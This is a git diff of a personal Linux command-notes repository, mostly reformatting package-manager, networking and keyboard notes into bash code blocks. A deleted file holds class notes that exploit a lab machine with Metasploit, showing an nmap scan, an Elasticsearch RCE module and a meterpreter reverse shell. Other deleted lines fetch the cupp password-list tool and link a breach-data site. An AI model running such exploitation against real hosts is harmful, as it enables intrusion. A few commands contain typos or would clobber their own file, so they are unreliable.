sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-intel
```
## Step 3C
If you see `AMD`, then check your card support `vulkan`:
> yay -S gpu-viewer
```bash
yay -S gpu-viewer
```
> vulkaninfo | grep 'VkPhysicalDeviceVulkanMemoryModelFeatures' -A 3
```bash
vulkaninfo | grep 'VkPhysicalDeviceVulkanMemoryModelFeatures' -A 3
```
You should see 'true' here.
> sudo pacman -S --needed lib32-mesa vulkan-radeon lib32-vulkan-radeon vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-amdgpu
```bash
sudo pacman -S --needed lib32-mesa vulkan-radeon lib32-vulkan-radeon vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-amdgpu
```

View File

@ -7,11 +7,15 @@ Packages are kept in /var/cache/pacman/pkg.
Delete unused old packages with:
> sudo pacman -Sc
```bash
sudo pacman -Sc
```
Signatures are handled by the pacman-key, initially set up with:
> sudo pacman-key --populate archlinux
```bash
sudo pacman-key --populate archlinux
```
And refreshed with:
@ -19,23 +23,33 @@ sudo pacman-key --refresh-keys
If you have usigned keys, you can refresh with:
> sudo pacman -Sc
```bash
sudo pacman -Sc
```
or
> sudo pacman -Scc
```bash
sudo pacman -Scc
```
Reset all keys with:
> sudo rm -r /etc/pacmand.d/gnupg/ && sudo pacman-key --init
```bash
sudo rm -r /etc/pacmand.d/gnupg/ && sudo pacman-key --init
```
If you're constantly getting 'everything corrupted, nothing upgraded', try running:
> sudo pacman -S archlinux-keyring
```bash
sudo pacman -S archlinux-keyring
```
List all orphaned packages:
> sudo pacman -Qtdq
```bash
sudo pacman -Qtdq
```
## Cleaning Config Files

View File

@ -8,17 +8,27 @@ tags: [ "Documentation", "distros" ]
Messed up a package's configuration files?
> sudo apt-get purge [thing]
```bash
sudo apt-get purge [thing]
```
> sudo apt autoremove
```bash
sudo apt autoremove
```
Check if you still have related things:
> apt search [thing]
```bash
apt search [thing]
```
> sudo apt-get install [ thing ]
```bash
sudo apt-get install [ thing ]
```
Still have problems?
> sudo dpgk --force-confmiss -i /var/cache/apt/archives/[thing]
```bash
sudo dpgk --force-confmiss -i /var/cache/apt/archives/[thing]
```

View File

@ -1,90 +0,0 @@
cd /usr/share/X11/xkb/symbols/
cp pc pc.bak
echo "pc backup copied - this isn't tested" >> ~/install.log
sed s/Caps_Lock/Escape/ pc > pc
cd
echo "deb https://dl.bintray.com/hawkeye116477/waterfox-deb release main" | sudo tee -a /etc/apt/sources.list
curl https://bintray.com/user/downloadSubjectPublicKey?username=hawkeye116477 | sudo apt-key add -
sudo apt-get update && sudo apt-get install waterfox
```
echo "deb http://http.kali.org/ /kali main contrib non-free
deb http://http.kali.org/ /wheezy main contrib non-free
deb http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali-dev main/debian-installer
deb-src http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali main contrib non-free
deb http://http.kali.org/kali kali main/debian-installer
deb-src http://http.kali.org/kali kali main contrib non-free
deb http://security.kali.org/kali-security kali/updates main contrib non-free
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free" >> /etc/apt/sources.list
```
setxkbmap gb
# gksudo firefox -install-global-extension addon-1865-latest.xpi
#install addon with cli
apt-get -y install openvpn
cd /etc/openvpn
sudo wget https://downloads.nordcdn.com/configs/archives/servers/ovpn.zip
unzip ovpn.zip
rm ovpn.zip
sudo apt-get install openvpn network-manager-openvpn network-manager-openvpn-gnome
wget https://github.com/maestrogerardo/i3-gaps-deb/archive/master.zip
echo "if you don't have openvpn options in your gnome desktop, this just isn't going to work. Get the openvpn manager, called 'openvpn-service-gnome' or some such" >> ~/*log
unzip ma*
rm ma*zip
cd i3-g*
sudo apt -y update;sudo apt -y upgrade
./i3*
cd
mv i3/ .config
sudo apt install feh compton ranger w3m cmus scrot
sudo apt install tor
wget https://github.com/dpayne/cli-visualizer/archive/master.zip
echo "If vis is playing funny-buggers, enter the install files and input the commands manually. May be an architecture problem as I don't have arm cpu" >> *log
unzip master.zip
rm master.zip
cd cli-vis*
apt install libfftw3-dev libncursesw5-dev libpulse-dev
./install.sh
cd
mkdir Images;mkdir Images/Wallpapers;mkdir Images/Screenshots
apt install -y encfs cmatrix cowsay
mkdir Tools
cd Tools
wget https://github.com/Mebus/cupp/archive/master.zip
unzip master.zip;rm master.zip
cd

View File

@ -1,128 +0,0 @@
---
title: "metasploit"
tags: [ "Documentation", "distros" ]
---
> service postgresql start
> systemctl status postgresql
> msfdb init
start the metasploit
> msfconfole
show exploits
Examples:
> info exploit/something
> search cve:2019
## Basic theory
There are vulnerabilities and payloads.
Payloads would typically give us a shell on the remote system. Android, Linux and Windows require different shells.
You can attach via 'reverse' or 'bind'. A 'bind' is best, as the user opens a port, and you connect. Mostly, you have to use 'reverse', which opens a connection to you.
# Notes for Class
Victim: 172.18.3.26
> nmap -Pn -sV 172.18.3.26 --script=vuln
> nmap -Pn -sV 172.18.3.26
Output:
```
Service scan Timing: About 66.67% done; ETC: 15:28 (0:00:10 remaining)
Nmap scan report for 172.18.3.26
Host is up (0.016s latency).
Not shown: 988 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
80/tcp open http Microsoft IIS httpd 7.5
4848/tcp open appserv-http?
8022/tcp open oa-system?
8080/tcp open http Sun GlassFish Open Source Edition 4.0
8383/tcp open ssl/m2mservices?
9200/tcp open tcpwrapped
49153/tcp open unknown
49154/tcp open unknown
49159/tcp open unknown
49161/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4848-TCP:V=7.80%I=7%D=9/14%Time=5D7D06F5%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,91,"HTTP/1\.1\x20302\x20Found\r\nLocation:\x20https://metasplo
SF:itable3-win2k8:4848/\r\nDate:\x20Sat,\x2014\x20Sep\x202019\x2015:27:44\
SF:x20GMT\r\nConnection:\x20close\r\nContent-Length:\x200\r\n\r\n");
MAC Address: D4:25:8B:B6:85:F5 (Intel Corporate)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```
Note this one:
`9200/tcp open tcpwrapped`
Apparently that's 'elasticsearch', so in metasploit we can do:
`search elasticsearch`
```
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/elasticsearch/indices_enum normal Yes ElasticSearch Indices Enumeration Utility
1 auxiliary/scanner/http/elasticsearch_traversal normal Yes ElasticSearch Snapshot API Directory Traversal
2 exploit/multi/elasticsearch/script_mvel_rce 2013-12-09 excellent Yes ElasticSearch Dynamic Script Arbitrary Java Execution
3 exploit/multi/elasticsearch/search_groovy_script 2015-02-11 excellent Yes ElasticSearch Search Groovy Sandbox Bypass
4 exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Yes Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution
```
If you want to use 2, `use 2` or `use/multi/ela` then tab out.
> show options
> set rhost 172.18.3.26
The remote port's already set at this point.
We've so far done use, rhost, and port.
> exploit
```
[*] Started reverse TCP handler on 172.18.3.112:4444
[*] Trying to execute arbitrary Java...
[*] Discovering remote OS...
[+] Remote OS is 'Windows Server 2008 R2'
[*] Discovering TEMP path
[+] TEMP path identified: 'C:\Windows\TEMP\'
[*] Sending stage (53845 bytes) to 172.18.3.26
[*] Meterpreter session 1 opened (172.18.3.112:4444 -> 172.18.3.26:49311) at 2019-09-14 15:38:49 +0000
[!] This exploit may require manual cleanup of 'C:\Windows\TEMP\LXjUK.jar' on the target
```
> dir
# Next Wordpress
http://172.18.3.26:8585/wordpress/
Back to normal shell.
> search wordpress ninja
> use exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload

View File

@ -1,8 +0,0 @@
https://coldwallet.io/
https://www.it-vn.com/2019/07/configure-ssh-to-avoid-from-shodan-and.html
https://wickr.com
https://weleakinfo.com/

View File

@ -1,9 +0,0 @@
#!/bin/bash
# run as root
[ -z $1 ] && echo set a disk && exit 1
parted /dev/sd$1 --script -- mklabel msdos
parted /dev/sd$1 --script -- mkpart primary 0 300M
parted /dev/sd$1 --script -- mkpart primary 300M 100%
mkfs.vfat /dev/sd"$1"1
mkfs.ext4 /dev/sd"$1"2

View File

@ -1,15 +0,0 @@
---
title: "npm"
tags: [ "Documentation", "Distros" ]
---
package.json is the basic configuration file.
Everything is per-directory.
> npm install x
This'll install x in the current directory.
> npm init
> npm install express --save

View File

@ -1,18 +0,0 @@
---
title: "yum"
tags: [ "Documentation", "Distros" ]
---
# Overview
> yum search [package]
> yum list openssh
> yum install [package1] [package2]
> yum check-updates
> yum update
> yum remove [package1] [package2]

View File

@ -5,10 +5,11 @@ tags: [ "Documentation", "Void" ]
Make the autologin service:
> cp -R /etc/sv/agetty-tty1 /etc/sv/agetty-autologin-tty1
```bash
cp -R /etc/sv/agetty-tty1 /etc/sv/agetty-autologin-tty1
```
```sh
if [ -x /sbin/agetty -o -x /bin/agetty ]; then
# util-linux specific settings
if [ "${tty}" = "tty1" ]; then
@ -24,7 +25,7 @@ TERM_NAME=linux
Then stick this at the end of the bashrc:
```
```sh
# autologin on tty1
if [ -z "$DISPLAY" ] && [ "$(fgconsole)" -eq 1 ]; then
exec startx

View File

@ -4,13 +4,19 @@ tags: [ "Documentation", "Void" ]
---
Monitor all processes:
> extrace
```bash
extrace
```
Monitor one process:
> extrace ls
```bash
extrace ls
```
Monitor a script:
> ./script.sh | extrace
```bash
./script.sh | extrace
```

30
distros/void/jenkins.md Normal file
View File

@ -0,0 +1,30 @@
---
title: "jenkins"
tags: [ "void", "build" ]
---
# Jenkins on Void
Jenkins is janky.
## Start
Start the service file.
```bash
sudo ln -s /etc/sv/jenkins /var/service
sudo sv start jenkins
```
Then visit the web interface with `$BROWSER localhost:8080`.
If it's not working, try running the command from the run file the first time:
```bash
chpst -u jenkins java -jar /opt/jenkins/jenkins.war
```
## Updating
Jenkins will not work if out of date.
You will be prompted to update by downloading a `jenkins.war` file.
Download it, then stop the service, and move the file to `/opt/jenkins/jenkins.war`, then start the service again.

View File

@ -6,35 +6,49 @@ tags: [ "Documentation", "Void" ]
All possible services are in:
> ls /etc/sv
```bash
ls /etc/sv
```
The computer only uses those in /var/service, so symbolic links are made to start and stop services.
> ls /var/service
```bash
ls /var/service
```
# Start Services
Enable the sshd service, so that ssh will work every time you boot up:
> sudo ln -s /etc/sv/sshd /var/service
```bash
sudo ln -s /etc/sv/sshd /var/service
```
Then start the service:
> sudo sv start sshd
```bash
sudo sv start sshd
```
# Stop Services
Stop `mpd` with:
> sudo sv stop mpd
```bash
sudo sv stop mpd
```
And stop it automatically loading at startup with:
> sudo rm /var/service/mpd
```bash
sudo rm /var/service/mpd
```
You can also just make a file called 'down':
> sudo touch /var/service/mpd/down
```bash
sudo touch /var/service/mpd/down
```
This means you can start and stop the service without making symbolic links, but mpd will be 'down' when the computer starts.
@ -49,5 +63,7 @@ If unsure, use `#!/bin/bash` as the first line. When Void Linux says `sh`, it m
Confirm the shell you'll use:
> ls -l $(which sh)
```bash
ls -l $(which sh)
```

13
distros/void/void-background.sh Executable file
View File

@ -0,0 +1,13 @@
#!/bin/sh
# get the void linux logo from wikipedia
wget https://upload.wikimedia.org/wikipedia/commons/thumb/0/02/Void_Linux_logo.svg/256px-Void_Linux_logo.svg.png?20170131170632
# rename it, and resize it (the standard size is too small for most wallpapers)
convert -resize 200% '256px-Void_Linux_logo.svg.png?20170131170632' void-logo.png
# download a pretty wallpaper
wget http://wallpapercave.com/wp/Wlm9Gv0.jpg
# put the void logo on all *jpg and *png images
for x in *.jpg
do
composite -compose multiply -gravity Center void-logo.png "$x" "$x"
done

View File

@ -6,7 +6,9 @@ tags: [ "Documentation", "Void" ]
Update all packages with
> sudo xbps-install -Su
```bash
sudo xbps-install -Su
```
See [xbps](xbps.md) for more.
@ -15,21 +17,29 @@ See [xbps](xbps.md) for more.
Void keeps *every* version of everything you install, so you can roll back to them.
Remove old packages with:
> sudo xbps-remove -O
```bash
sudo xbps-remove -O
```
# vkpurge
Old Void kernels are left on the boot partition. List them with:
> vkpurge list
```bash
vkpurge list
```
Remove one with:
> vkpurge 2.8.2_4
```bash
vkpurge 2.8.2_4
```
Remove all but the latest with:
> vkpurge rm all
```bash
vkpurge rm all
```
# Brightness
@ -38,9 +48,10 @@ You can change this number to change the screen brightness.
For an easy utility, install `brightnessctl`.
> brightnessctl s 10%-
> brightnessctl s 10%+
```bash
brightnessctl s 10%-
brightnessctl s 10%+
```
# Other Tricks

View File

@ -6,61 +6,87 @@ tags: [ "Documentation", "Void" ]
Look for cowsay in the repository:
> xbps-query --repository --search cowsay
```bash
xbps-query --repository --search cowsay
```
Short version:
> xbps-query -Rs cowsay
```bash
xbps-query -Rs cowsay
```
Search with regex:
> xbps-query --regex -Rs 'cow(s)?\w'
```bash
xbps-query --regex -Rs 'cow(s)?\w'
```
List what's required for cowsay
> xbps-query -x cowsay
```bash
xbps-query -x cowsay
```
What packages are orphaned (i.e. installed as a dependency for another package, which has since been removed)?
> xbps-query -O
```bash
xbps-query -O
```
Show cowsay's dependencies.
> xbps-query -x cowsay
```bash
xbps-query -x cowsay
```
This shows `perl`.
To see what else depends on perl:
> xbps-query -X perl
```bash
xbps-query -X perl
```
List all manually installed software.
> xbps-query -m
```bash
xbps-query -m
```
## Install
Install cowsay
> xbps-install cowsay
```bash
xbps-install cowsay
```
Upgrade current packages.
`-R` looks at repositories, `-s` makes a sloppy search (for rough matches).
> xbps-install -Suv
```bash
xbps-install -Suv
```
## Remove/ Uninstall
Remove cowsay
> xbps-remove cowsay
```bash
xbps-remove cowsay
```
...and all dependencies
> xbps-remove -R cowsay
```bash
xbps-remove -R cowsay
```
Remove all orphaned dependencies.
> xbps-remove -o
```bash
xbps-remove -o
```
Show information about cowsay
@ -68,13 +94,19 @@ Show information about cowsay
Reinstall cowsay
> xbps-install -f cowsay
```bash
xbps-install -f cowsay
```
Look for broken packages.
> sudo xbps-pkgdb -a
```bash
sudo xbps-pkgdb -a
```
And if you've found any, you might reconfigure all packages forcefully:
> sudo xbps-reconfigure -af
```bash
sudo xbps-reconfigure -af
```

View File

@ -3,6 +3,8 @@ title: "brightness"
tags: [ "Documentation", "hardware" ]
---
# Brightness
/sys/class/backlight/*/brightness
Edit this file:
> /sys/class/backlight/*/brightness

View File

@ -6,11 +6,15 @@ tags: [ "Documentation", "keyboard" ]
Set layout to British English.
> setxkbmap -layout gb
```bash
setxkbmap -layout gb
```
Or Polish with:
> setxkbmap -layout pl
```bash
setxkbmap -layout pl
```
| Language | short |
|:--------|:------|
@ -19,7 +23,9 @@ Or Polish with:
Set 'alt + shift', as the command which cycles through the British English, Polish and Serbian keyboard layout.
> setxkbmap -layout gb,pl,rs -option grp:alt_shift_toggle
```bash
setxkbmap -layout gb,pl,rs -option grp:alt_shift_toggle
```
## Alt_GR
@ -33,22 +39,30 @@ Remap, e.g., the right Windows key, to Alt_Gr.
Copy your keymap, e.g. if it's polish-1, then:
> cp /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz /usr/share/kbd/keymaps/*custom*.map.gz
```bash
cp /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz /usr/share/kbd/keymaps/*custom*.map.gz
```
Then change that map:
> sudo vim /usr/share/kbd/keymaps/custom.map.gz
```bash
sudo vim /usr/share/kbd/keymaps/custom.map.gz
```
---
You can switch Escape and Caps Lock with a single line:
> sudo sh -c "gunzip -c /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz | sed 's/ Escape/ PLACEHOLDER/ ; s/Caps_Lock/Escape/g ; s/PLACEHOLDER/Caps_Lock/' | gzip > /usr/share/kbd/keymaps/custom.map.gz"
```bash
sudo sh -c "gunzip -c /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz | sed 's/ Escape/ PLACEHOLDER/ ; s/Caps_Lock/Escape/g ; s/PLACEHOLDER/Caps_Lock/' | gzip > /usr/share/kbd/keymaps/custom.map.gz"
```
---
Change the default keyboard mapping to the custom map:
> echo 'KEYMAP="/usr/share/kbd/keymaps/*custom*.map.gz"' | sudo tee /etc/vconsole.conf
```bash
echo 'KEYMAP="/usr/share/kbd/keymaps/*custom*.map.gz"' | sudo tee /etc/vconsole.conf
```
Reboot to have changes take effect.

View File

@ -4,7 +4,9 @@ tags: [ "Documentation", "Networking" ]
---
# SSH Daemon Jail
> sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.d/ssh.local
```bash
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.d/ssh.local
```
```
[sshd]
@ -14,11 +16,17 @@ ignoreip = 127.0.0.1/8 ::1,192.168.0.0/16 ::1
```
> sudo systemctl restart fail2ban
```bash
sudo systemctl restart fail2ban
```
> sudo fail2ban-client status
```bash
sudo fail2ban-client status
```
> sudo fail2ban-client status sshd
```bash
sudo fail2ban-client status sshd
```

View File

@ -4,23 +4,23 @@ tags: [ "Documentation" ]
---
Set up a file like this, called `troubleshooting.txt`.
```
[ Is there an IP address? ] -- no --> [ Check NIC driver, dmesg ]
> [ Is there an IP address? ] -- no --> [ Check NIC driver, dmesg ]
>
> [ Is there an IP address? ] -- yes --> [ Can you ping the router? ]
>
> [ Can you ping the router? ] -- no --> [ Check cables, router, and switches ]
>
> [ Can you ping the router? ] -- yes --> [ Can you ping a DNS address? ]
>
> [ Can you ping a DNS address? ] -- no --> [ Trying pinging 8.8.8.8 ]
>
> [ Can you ping a DNS address? ] -- yes --> [ Traceroute ]
[ Is there an IP address? ] -- yes --> [ Can you ping the router? ]
[ Can you ping the router? ] -- no --> [ Check cables, router, and switches ]
[ Can you ping the router? ] -- yes --> [ Can you ping a DNS address? ]
[ Can you ping a DNS address? ] -- no --> [ Trying pinging 8.8.8.8 ]
[ Can you ping a DNS address? ] -- yes --> [ Traceroute ]
```
Then translate it with:
> graph-easy troubleshooting.txt --as boxart
```bash
graph-easy troubleshooting.txt --as boxart
```
```
@ -37,14 +37,20 @@ Then translate it with:
Many options allow different displays.
Try placing this in a file:
```
[ One ] { fill: seagreen; color: white; } -- label --> [ Two ] { shape: triangle; }
[ One ] => { arrow-style: closed; } [ Three ]
[ Five ] { fill: maroon; color: yellow; } <=> [ Three ]
[ One ] .. Test\n label ..> [ Four ]
[ Three ] { border-style: dashed; }
.. Test\n label ..> { arrow-style: closed; } [ Six ] { label: Sixty\n Six\nand\nsix; }
[ Three ] <-- Test label --> { arrow-style: closed; } [ Six ]
[ Eight ] .. [ None ] { shape: none; fill: red; color: brown; }
[ no Network ] --> [ Is there an IP address? ]
```
> [ One ] { fill: seagreen; color: white; } -- label --> [ Two ] { shape: triangle; }
>
> [ One ] => { arrow-style: closed; } [ Three ]
>
> [ Five ] { fill: maroon; color: yellow; } <=> [ Three ]
>
> [ One ] .. Test\n label ..> [ Four ]
>
> [ Three ] { border-style: dashed; }
>
> .. Test\n label ..> { arrow-style: closed; } [ Six ] { label: Sixty\n Six\nand\nsix; }
>
> [ Three ] <-- Test label --> { arrow-style: closed; } [ Six ]
>
> [ Eight ] .. [ None ] { shape: none; fill: red; color: brown; }
>
> [ no Network ] --> [ Is there an IP address? ]

View File

@ -8,7 +8,9 @@ This is a basic Linux firewall program.
Look at your firewalls:
> iptables -L
```bash
iptables -L
```
We see the output of input, output and forwarding rules.
@ -16,19 +18,27 @@ We see the output of input, output and forwarding rules.
I don't need any forwarding, so I'm going to drop all forwarding:
> iptables -P FORWARD DROP
```bash
iptables -P FORWARD DROP
```
# Input
Let's 'A'dd, or 'A'ppend a rule with -A. Let's drop all input from a nearby IP
> iptables -A INPUT -s 192.168.0.23 -j DROP
```bash
iptables -A INPUT -s 192.168.0.23 -j DROP
```
Or we can block all input from a particular port on the full Network.
> iptables -A INPUT -s 192.168.0.0/24 -p tcp --destination-port 25 -j DROP
```bash
iptables -A INPUT -s 192.168.0.0/24 -p tcp --destination-port 25 -j DROP
```
> iptables -A INPUT --dport 80 -j ACCEPT
```bash
iptables -A INPUT --dport 80 -j ACCEPT
```
This allows http traffic to an Apache web server over port 80.
@ -37,11 +47,15 @@ However, rules are accepted in order - so a packet cannot be rejected and then a
To delete rule 2 from the INPUT chain:
> iptables -D INPUT 3
```bash
iptables -D INPUT 3
```
Alternatively, you can 'I'nsert a rule at the start, rather than 'A'ppending it.
> iptables -I INPUT -s 192.168.0.13 DROP
```bash
iptables -I INPUT -s 192.168.0.13 DROP
```
# Catchalls
@ -53,7 +67,9 @@ The -j flag accepts ACCEPT/REJECT/DROP. The last two are identical except that
Flush all existing rules with:
> iptables -F
```bash
iptables -F
```
# Examples

View File

@ -1,94 +0,0 @@
---
title: "protocols"
tags: [ "Documentation", "Networking" ]
---
# Protocols
| TCP | UDP | ICMP |
|:-----------------|:-----------------|:------------------|
|Transmission Control Protocol | User Datagram Protocol | Internet Control Message Protocol |
| Reliable and slow. | Fast but unreliable, such as VOIP. Provides checksums. | Dirty checks such as pings. |
# Networking Addressing
## IPv4
Three address ranges pertain only to private Networks, so no computer looks beyond the local router to resolve them:
10.0.0.0 to 10.255.255.255
172.16.0.0 to 172.31.255.255
192.168.0.0 to 192.168.255.255
In theory, Networks should fall within one of 3 ranges, depending upon their first octet:
Class A 1-127
Class B 128 to 191
Class C 192 to 223
# Service Ports
There are three types of port ranges:
1 to 1023: Well-known and established ports.
1024 to 49151 ICANN registered ports, used by various products, with limited oversight.
49152 to 65535 Dynamic ports for ad hoc use.
View a more complete list of ports with:
> less /etc/services
# ip
Show all addresses with:
> ip a{dd{ress}} s{how}
If a link's not present, load it with:
sudo ip link set dev wlp3s0 up
Add an interface to a device as so:
> sudo ip a add 192.168.0.15/255.255.255.0 dev eth1
See Network interfaces available on Fedora with:
> less /etc/sysconfig/Network-scripts/ifcfg-enp2s0f0
or on Debian with:
> less /etc/Network/interfaces
Mostly, interfaces will receive automatic addresses from a DHCP server. If this hasn't happened for you, you can request a dhcp address with:
> sudo dhclient eth1
View your current route to the internet with:
> route
... although on void this is:
> routel
If you don't have a route to the internet, you can manually specify the default gateway with:
> sudo route add default gw 192.168.0.1
... or ...
> sudo ip route add default via 192.168.0.1

View File

@ -1,141 +0,0 @@
---
title: "Networking"
tags: [ "Documentation", "Networking", "ip" ]
---
# You
Check how your computer connects to the net:
> ip address show
```
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UP group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: wlp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 84:3a:4b:ca:5c:24 brd ff:ff:ff:ff:ff:ff
inet 192.168.0.13/24 brd 192.168.0.255 scope global dynamic noprefixroute wlp3s0
valid_lft 199143sec preferred_lft 172143sec
inet6 fe80::22:5eb9:8a3a:95b2/64 scope link
valid_lft forever preferred_lft forever
4: wwp0s20u4i6: <BROADCAST,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether fa:cd:4d:28:ec:dc brd ff:ff:ff:ff:ff:ff
inet 169.254.104.159/16 brd 169.254.255.255 scope global noprefixroute wwp0s20u4i6
valid_lft forever preferred_lft forever
inet6 fe80::e9d3:506c:c0a9:6679/64 scope link
valid_lft forever preferred_lft forever
```
That's too much output to read, so try:
> ip address show | grep inet
```
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
inet 192.168.0.13/24 brd 192.168.0.255 scope global dynamic noprefixroute wlp3s0
inet6 fe80::22:5eb9:8a3a:95b2/64 scope link
inet 169.254.104.159/16 brd 169.254.255.255 scope global noprefixroute wwp0s20u4i6
inet6 fe80::e9d3:506c:c0a9:6679/64 scope link
```
The starting numbers tell you about the address. You just have to memorize the meanings:
| Address Prefix | Meaning |
|:---:|:---:|
| 127.X | The computer's name for itself, for when you want to ssh into your own machine |
| ::1/128 | Same thing, with ipv6 |
| 192.168.X | A small Network address, given by a DHCP server (possibly your router) |
| 169.X | The interface to the internet wasn't given an ip address, so it's made up its own |
# `arp-scan`
Look around your local Network with `arp-scan`.
> sudo arp-scan -l
```
Interface: wlp3s0, type: EN10MB, MAC: 84:3a:4b:ca:5c:24, IPv4: 192.168.0.13
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1 0c:02:27:bc:aa:a1 Technicolor CH USA Inc.
192.168.0.15 b8:27:eb:4a:cd:d9 Raspberry Pi Foundation
192.168.0.10 dc:0b:34:94:5c:c4 LG Electronics (Mobile Communications)
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.937 seconds (132.16 hosts/sec). 3 responded
```
The interface here was `wlp3s0`. It starts with 'w', so it's a wifi card. Each internet adapter has a name, called a 'MAC address' in order to identify itself to outsiders. The first three parts of a MAC address are given by the manufacturer (like a family name), and the rest are just for that one device.
The '192.168.0.1' address ends in '.1', so it's probably a router. The manufacturer is 'Technicolor' (`arp-scan` has identified this from the first digits of the MAC: '0c:02:27').
Next is 192.168.0.15, which is labelled as a 'raspberry pi'. Finally, the '.10' address is a mobille phone.
Mac addresses are easy to fake, so don't trust this output to keep you safe.
# `nmap`
Look around your entire Network from 192.168.0.1 to 192.168.0.255:
> sudo nmap -F 192.168.0.1/24
The `-F` means 'do this fast, by only scanning normal traffic' (ports below 1000).
```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-09 13:52 CET
Nmap scan report for 192.168.0.1
Host is up (0.011s latency).
Not shown: 99 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 0C:02:27:BC:AA:A1 (Technicolor CH USA)
Nmap scan report for 192.168.0.10
Host is up (0.0040s latency).
All 100 scanned ports on 192.168.0.10 are closed
MAC Address: DC:0B:34:94:7C:C4 (LG Electronics (Mobile Communications))
Nmap scan report for belgradecats (192.168.0.15)
Host is up (0.0096s latency).
Not shown: 98 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
MAC Address: B8:27:EB:4A:CD:D9 (Raspberry Pi Foundation)
Nmap scan report for 192.168.0.13
Host is up (0.0000080s latency).
Not shown: 99 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 256 IP addresses (4 hosts up) scanned in 5.34 seconds
```
Network traffic is split into different types of information. Each one gets a number called a 'port'. Most of this information is dead, so only a few ports are used nowadays.
The first one shows port 80, so you can visit it on a web browser. The next shows 53 (so it's handing out names of local computers) and 22 (so you can access it via ssh).
You can scan outside addresses with:
> sudo nmap facebook.com
However, when you scan something, that machine will see you, and you may set off alerts, which then have to bother whoever's looking after that address.
So if you want to try out nmap from outside, find a place you have permission to scan (like your own external IP address), or try:
> sudo nmap hack.me
The hack.me website doesn't mind people scanning.

View File

@ -5,7 +5,9 @@ tags: [ "Documentation", "Networking" ]
Example:
> nmap 192.168.1.1/24
```bash
nmap 192.168.1.1/24
```
Flags:
@ -15,7 +17,6 @@ Flags:
Look for a web server, which has ports 80 and 443 open:
> nmap 192.168.1.1/24 -p 80,443 --open
```bash
nmap 192.168.1.1/24 -p 80,443 --open
```

View File

@ -6,37 +6,54 @@ tags: [ "Documentation", "Distros" ]
## Arch
> yay -S pi-hole-server
```bash
yay -S pi-hole-server
```
> sudo systemctl enable --now pihole-FTL
```bash
sudo systemctl enable --now pihole-FTL
```
> sudo systemctl disable --now systemd-resolved
```bash
sudo systemctl disable --now systemd-resolved
```
> sudo rm -f /dev/shm/FTL-\*
```bash
sudo rm -f /dev/shm/FTL-\*
```
## Debian
Debian has a long, boring setup.
> sudo apt-get install wget curl net-tools gamin lighttpd lighttpd-mod-deflate
> curl -sSL https://install.pi-hole.net | PIHOLE_SKIP_OS_CHECK=true sudo -E bash
```bash
sudo apt-get install wget curl net-tools gamin lighttpd lighttpd-mod-deflate
curl -sSL https://install.pi-hole.net | PIHOLE_SKIP_OS_CHECK=true sudo -E bash
```
# Setup
> sudo usermod -aG pihole $USER
```bash
sudo usermod -aG pihole $USER
```
Remove that google dns server.
> pihole -a setdns 9.9.9.9 1.0.0.1
```bash
pihole -a setdns 9.9.9.9 1.0.0.1
```
Disable pihole password by setting a blank password.
> pihole -a -p
```bash
pihole -a -p
```
Get a new list of blocked domains, then reload:
> pihole -g -r
```bash
pihole -g -r
```
Every so often, run `pihole -g` again (perhaps put it in crontab).
@ -44,11 +61,15 @@ Every so often, run `pihole -g` again (perhaps put it in crontab).
Observe the pihole's output while you ask it a question:
> pihole -t
```bash
pihole -t
```
Then ask the question from another computer:
> dig @[ pihole ip ] archlinux.org
```bash
dig @[ pihole ip ] archlinux.org
```
## System-Wide Setup

View File

@ -2,20 +2,26 @@
title: "pip"
tags: [ "Documentation", "Networking" ]
---
```
Searching does not work.
Install with:
> pip install [ package ]
```bash
pip install [ package ]
```
Upgrade all packages
> pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U
```bash
pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U
```
# Troubleshooting
You may need a python3 package.
In this case, try:
> pip3 install [ package ]
```bash
pip3 install [ package ]

View File

@ -3,53 +3,77 @@ title: "rclone"
tags: [ "Documentation", "Networking" ]
---
The manpage's 'Synopsis' provides a fast reference.
```
We'll assume a folder in Google Drive called 'test', and local folder called 'foo'.
Generate a config file with:
> rclone config
```bash
rclone config
```
